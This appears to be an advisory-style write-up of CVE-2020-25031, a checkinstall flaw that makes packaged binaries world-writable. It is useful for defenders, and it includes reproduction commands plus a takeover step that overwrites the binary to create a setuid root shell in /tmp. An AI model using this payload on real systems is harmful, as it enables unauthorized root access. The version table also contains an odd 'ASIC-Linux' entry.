CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2020-25031
7.80.04%

The 'chmod 777' of Doom: How checkinstall Gave Root to Everyone

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 18, 2026·6 min read·4 visits

PoC Available

Executive Summary (TL;DR)

checkinstall version 1.6.2 (and likely others) misapplies permissions when packaging software containing symlinks. It takes the symbolic link's 'virtual' 0777 permissions and applies them to the actual target file. If an admin uses checkinstall to package a binary that has a symlink pointing to it, the installed binary becomes world-writable. Local users can then overwrite the binary with a malicious payload to gain root access.

checkinstall, a popular utility for creating Debian or RPM packages from source code, contains a critical flaw in how it handles symbolic links. By misinterpreting the permissions of symlinks (which appear as 777 on Linux), the tool inadvertently sets the target binaries to world-writable in the generated package. This allows any local user to modify system binaries installed via these packages, leading to trivial Local Privilege Escalation.

The Hook: The Lazy Sysadmin's Best Friend

We have all been there. You need a piece of software that isn't in the official repositories. You download the source, run ./configure, make, and then you pause at make install. If you run that, you are scattering files all over your filesystem with no easy way to remove them later. Enter checkinstall.

checkinstall is the hero we thought we needed. It wraps the installation process, watches where files go, and politely packages them into a .deb or .rpm so you can manage them with your system's package manager. It is clean, it is efficient, and it is supposedly safe.

But here is the catch: checkinstall relies on a library called installwatch to spy on file system operations. It intercepts calls to see what is being touched. In CVE-2020-25031, this spy got a little too confused about the difference between a map and the territory. Specifically, it forgot that on Linux, a symbolic link looks like it has open doors (0777 permissions), even if the house it points to is locked tight.

The Flaw: Symlinks are Liars

To understand this bug, you need to understand a quirk of Unix-like filesystems. If you run ls -l on a symbolic link, you will almost always see permissions that look like this: lrwxrwxrwx. That translates to 0777—read, write, and execute for everyone. However, these permissions are a mirage; the actual access control is determined by the target file, not the link itself.

The vulnerability exists in how checkinstall (via installwatch) handles these permissions during the packaging phase. When the software being compiled creates a symlink (e.g., /usr/bin/myapp-v1 aliased as /usr/bin/myapp), checkinstall detects the file creation.

Here is where the logic fails: It reads the permissions of the file being created. When it encounters the symlink, it sees 0777. Instead of realizing "Hey, that's just a link," or applying those permissions only to the link itself, it inadvertently applies that 0777 mode to the target file inside the generated package structure. It effectively takes the "fake" permissions of the link and stamps them onto the real binary.

The Code: Determining the Reality

While the upstream code for checkinstall hasn't seen major updates in years (which is part of the problem), we can reconstruct the behavioral flaw through the lens of system calls. The core issue is a classic confusion between stat() and lstat() semantics, or simply a failure to check file types before copying permission bits.

When checkinstall prepares the package, it mirrors the installed files into a temporary directory. The logic roughly resembles this pseudocode disaster:

// Conceptual representation of the flaw
struct stat file_info;
// stat() follows links, lstat() does not.
// If the code uses stat() on a symlink, it gets the TARGET's info.
// If it uses lstat() on a symlink, it gets the LINK's info (st_mode usually 777).
 
lstat("symlink_to_binary", &file_info);
 
// file_info.st_mode is now 0777 (lrwxrwxrwx)
 
// The Fatal Mistake:
// Applying the link's mode to the destination file in the package
chmod(destination_binary, file_info.st_mode);

The result is a Debian package (.deb) where the control data says: "Please install /usr/bin/target_binary and make sure it is world-writable." The package manager, being an obedient servant, does exactly that.

The Exploit: Trojan Packaging

This is a Local Privilege Escalation (LPE) waiting to happen. The "attacker" here is actually the system administrator who accidentally creates a vulnerable package, but a savvy local user can exploit it instantly. Let's look at how to reproduce this using the method discovered by the researchers.

1. Create the Poisoned Source We simulate a software build that creates a binary and a symlink to it.

# Create a fake binary structure
mkdir -p usr/bin
echo -e '#!/bin/sh\necho I am safe' > usr/bin/safe_binary
chmod 755 usr/bin/safe_binary
 
# Create the fatal symlink
ln -sf safe_binary usr/bin/link_to_binary
 
# Tar it up like a source package
tar c usr/bin/safe_binary usr/bin/link_to_binary | gzip -c > source.tar.gz

2. Run the Vulnerable Tool The admin runs checkinstall to turn this tarball into a DEB.

checkinstall --install=no -y --pkgname=oops --pkgversion=1.0 -- \
  bash -c "gzip -cd source.tar.gz | (cd /; tar xv)"

3. verification of Doom If we inspect the resulting .deb file, we see the catastrophe:

dpkg -c oops_1.0-1_amd64.deb
# Output:
# -rwxrwxrwx root/root ... ./usr/bin/safe_binary

4. The Takeover Once installed, any user on the system can do this:

# Overwrite the system binary with a shell spawner
echo "cp /bin/sh /tmp/rootsh; chmod +s /tmp/rootsh" > /usr/bin/safe_binary
 
# Wait for root to run it (or ask them to)
/usr/bin/safe_binary
 
# Enjoy your root shell
/tmp/rootsh

The Impact: Trust No One, Not Even Yourself

The severity of CVE-2020-25031 is deceptively high. It is labeled as "Low Exploitability" because it requires an admin to mistakenly use the tool, but the impact is absolute compromise.

This vulnerability breaks the fundamental trust model of Linux permissions. We assume that if we install software as root, it is protected from users named guest or www-data. This bug inverts that assumption. By automating the packaging process, checkinstall essentially automates the removal of security boundaries.

Furthermore, this is persistent. Even if you reboot, that binary remains world-writable. Unless you are running file integrity monitoring (FIM) or auditing your filesystem permissions regularly (find /usr -perm -777), this backdoor could exist on your servers for years, unnoticed, just waiting for a compromised web service or a rogue user to stumble upon it.

The Fix: Abandon Ship?

Here is the cynical part: checking the Debian and Ubuntu trackers, this issue is often marked as "Unimportant" or "WontFix". The argument is often that checkinstall should not be used on untrusted systems or essential production pipelines. Essentially, the vendor response is a shrug.

How to mitigate this:

  1. Stop using checkinstall for critical binaries: If you are building packages for production, use proper packaging tools like dpkg-buildpackage, rpmbuild, or modern wrappers like fpm (Effing Package Management).
  2. Audit your packages: If you must use checkinstall, never install the result blindly. Run dpkg -c filename.deb and look for -rwxrwxrwx permissions on files that are not symlinks.
  3. Manual Strip: You can manually extract the control files, fix the permissions in the tarball, and repackage it, but at that point, you are doing more work than if you just wrote the package manifest yourself.

There is no magic patch button for this one in many repositories. The fix is to stop trusting the tool to understand symlinks.

Technical Appendix

CVSS Score
7.8/ 10
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
0.04%
Top 87% most exploited

Affected Systems

Debian-based systems using checkinstallRPM-based systems using checkinstallLinux MintUbuntu

Affected Versions Detail

Product
Affected Versions
Fixed Version
checkinstall
ASIC-Linux
<= 1.6.2None (Vendor WontFix in many cases)
AttributeDetail
CWE IDCWE-59 / CWE-276
CVSS v3.17.8 (High)
Attack VectorLocal (Admin interaction required)
ImpactPrivilege Escalation (Root)
Root CauseImproper symlink permission handling
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1574Hijack Execution Flow
Persistence / Privilege Escalation
T1222File and Directory Permissions Modification
Defense Evasion
CWE-59
Improper Link Following

Improper Link Following / Incorrect Default Permissions

Known Exploits & Detection

Ubuntu LaunchpadOriginal bug report with reproduction steps and PoC.

Vulnerability Timeline

Vulnerability reported on Ubuntu Launchpad by Gianni Tedesco
2020-01-29
CVE-2020-25031 assigned and published
2020-08-31
Highlighted in CISA Weekly Vulnerability Summary
2020-09-07
Still marked as Unimportant/WontFix by major distributions
2024-01-01

References & Sources

  • [1]Ubuntu Bug #1861281: checkinstall creates world writable files
  • [2]Debian Security Tracker: CVE-2020-25031
  • [3]NVD - CVE-2020-25031 Detail